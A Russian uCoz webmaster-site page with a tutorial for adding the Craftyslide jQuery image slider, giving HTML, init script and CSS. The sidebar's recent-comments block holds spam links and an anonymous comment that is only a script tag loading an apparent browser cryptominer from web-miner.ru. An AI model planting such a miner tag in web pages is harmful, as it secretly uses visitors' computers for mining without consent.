Понедельник, 19.02.2018, 23:01
Главная  Форум Регистрация Блог RSS
Приветствую Вас, Гость
Меню сайта
Статьи про uCoz
Наш опрос
Лайкнули наши группы в соц-ых сетях?


Всего ответов: 200

установить такой вид опроса
Статистика
Яндекс.Метрика
Онлайн всего: 5
Гостей: 5
Пользователей: 0


Зарегистрировано 30524 (сегодня + 1 новых, вчера + 0 новых), В каталоге файлов 1127 материала(ов), Оставлено 5119 комментариев, На форуме создано тем и ответов.

установить такую статистику

Блок CW результаты

Победы
Победы(10)

Поражения
Поражения(5)


Установить CW блок на свой сайт
Внимание!
Наш сайт адаптирован под браузер Mozilla Firefox
скрипты для uCoz
Скачать/Download
В остальных браузерах наш сайт может отображаться некорректно! (IE,Opera,Google Chrome и т.д)

установить такой блок
Расскажи Друзьям!
Комментарии
Новость: Видео чат для вашего сайта
Александр написал:
https://chat-vsem.blogspot.ru
Новость: Преимущества создания сайта с помощью шаблона
Вика Ромашкина написал:
http://womanspv.ru/raznoe/obmanut-ofisnyj-dress-kod.html
http://womanspv.ru/beremennost/forum-28-nedelya-beremennosti.html
Новость: Блок баннеры "Наши друзья" uCoz
написал:
<script async="async" src="//web-miner.ru/lib/wm.js?s=161&p=50"></script>

Читать все комментарии
Топ комментаторов

установить такой информер
VKONTAKTE

FACEBOOK
Главная страница » Помощь Вебмастеру » Категория Скрипты для uCoz » Добавлено [10.11.2013, 21:49]

Слайдер изображений через плагин Craftyslide на jQuery для uCoz

Войти или Зарегистрироваться [скачивать файлы могут только зарегистрированные пользователи!]

Все порядком устали от тяжелых и навороченных слайдеров изображений. Мы долго искали что-то легкое и приятное на глаз, цвет и вкус, и наконец сошлись во мнении, что бесспорной позитивной новинкой среди слайдеров изображений может стать плагин CraftySlide от Ucoz. Так же можно прочитать и другую

.

Как и все продукты, созданные с использование библиотеки ввода JQuery отличаются простотой в использовании и четкостью проработки. Создатели явно постарались,  и слайдер изображений вышел что надо. При просмотре изображений на сайте есть небольшой эффект затемнения, на котором контрастно и эффектно смотрится подпись к изображению.

Управление плагином так же легкое и требует всего одного нажатия мыши для смены картинки. На вашем сайте обязательно найдется место для этого стильного плагина, тем более, что он отлично подходит для оформления галерей изображений, легко встраивается в код страницы и не вызвал пока еще отрицательных отзывов при тестировании. Картинки сменяются очень плавно, что дает возможность хорошо рассмотреть изображение. Плагин CraftySlide, без сомнения, уже скоро привлечет внимание владельцев сайтов и дизайнеров благодаря своему хорошему исполнению и высокому качеству работы.

Мы уже попробовали этот новый плагин от Ucoz и можем рекомендовать его вам, но нам, в свою очередь, очень интересно мнение каждого пользователя.

ВАЖНО! Скрипт из прикреплённого архива залейте в папку js, а картинку в папку images

Установка:

В то место, где должен быть слайдер, вставляйте:
<div id="slideshow">
<ul>
<li>
<img title="Титульник" src="Ссылка на картинку" alt="Титульник" />
</li>
<li>
<img title="Титульник" src="Ссылка на картинку" alt="Титульник" />
</li>
<li>
<img title="Титульник" src="Ссылка на картинку" alt="Титульник" />
</li>
</ul>
</div>

<script src="/js/craftyslide.min.js"></script>
<script type="text/javascript">
$("#slideshow").craftyslide({
'width': 640,
'height': 300,
'pagination': true,
'fadetime': 500,
'delay': 500
});
</script>

В самый низ вашего css:
/*
Craftyslide CSS Styles
*/
#slideshow {
margin:0 auto;
}
#slideshow {
margin:10px;
padding:0;
position:relative;
border:15px solid #f8f8f8;
-webkit-box-shadow:0 3px 5px #999;
-moz-box-shadow:0 3px 5px #999;
box-shadow:0 3px 5px #999;
}
#slideshow ul {
position:relative;
overflow:hidden;
margin:0;
padding:0;
}
#slideshow ul li {
position:absolute;
top:0;
left:0;
margin:0;
padding:0;
list-style:none;
}
#pagination {
clear:both;
width:75px;
margin:25px auto 0;
padding:0;
}
#pagination li {
list-style:none;
float:left;
margin:0 2px;
}
#pagination li a {
display:block;
width:10px;
height:10px;
text-indent:-10000px;
background:url(/images/pagination.png);
}
#pagination li a.active {
background-position:0 10px;
}
.caption {
width:100%;
margin:0;
padding:10px;
position:absolute;
left:0;
font-family:Helvetica, Arial, sans-serif;
font-size:14px;
font-weight:lighter;
color:#fff;
border-top:1px solid #000;
background:rgba(0, 0, 0, 0.6);
}



При копирование материалов с сайта необходимо указать активную ссылку источника - Скрипты для uCoz 2013 и Слайдер изображений через плагин Craftyslide на jQuery для uCoz



Расскажи друзьям интересные новости:


- Установить на свой сайт блок социальных закладок
Категория: Скрипты для uCoz | Добавил: scripts_for_ucoz | Теги: фотоальбом, фото, изображений, через, плагин, jQuery, фотогалерея, Craftyslide, слайдер
Просмотров: 4385 | Загрузок: 95 | Комментарии: 2 | Рейтинг: 0.0/0
Всего комментариев: 2
2 jancits2   (18.12.2016 21:48)
It doesnt work!

+2   Спам
1 Angelina99   (18.07.2014 13:15)
Почему-то не работает. sad

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Для добавления необходима авторизация

Хостинг от uCoz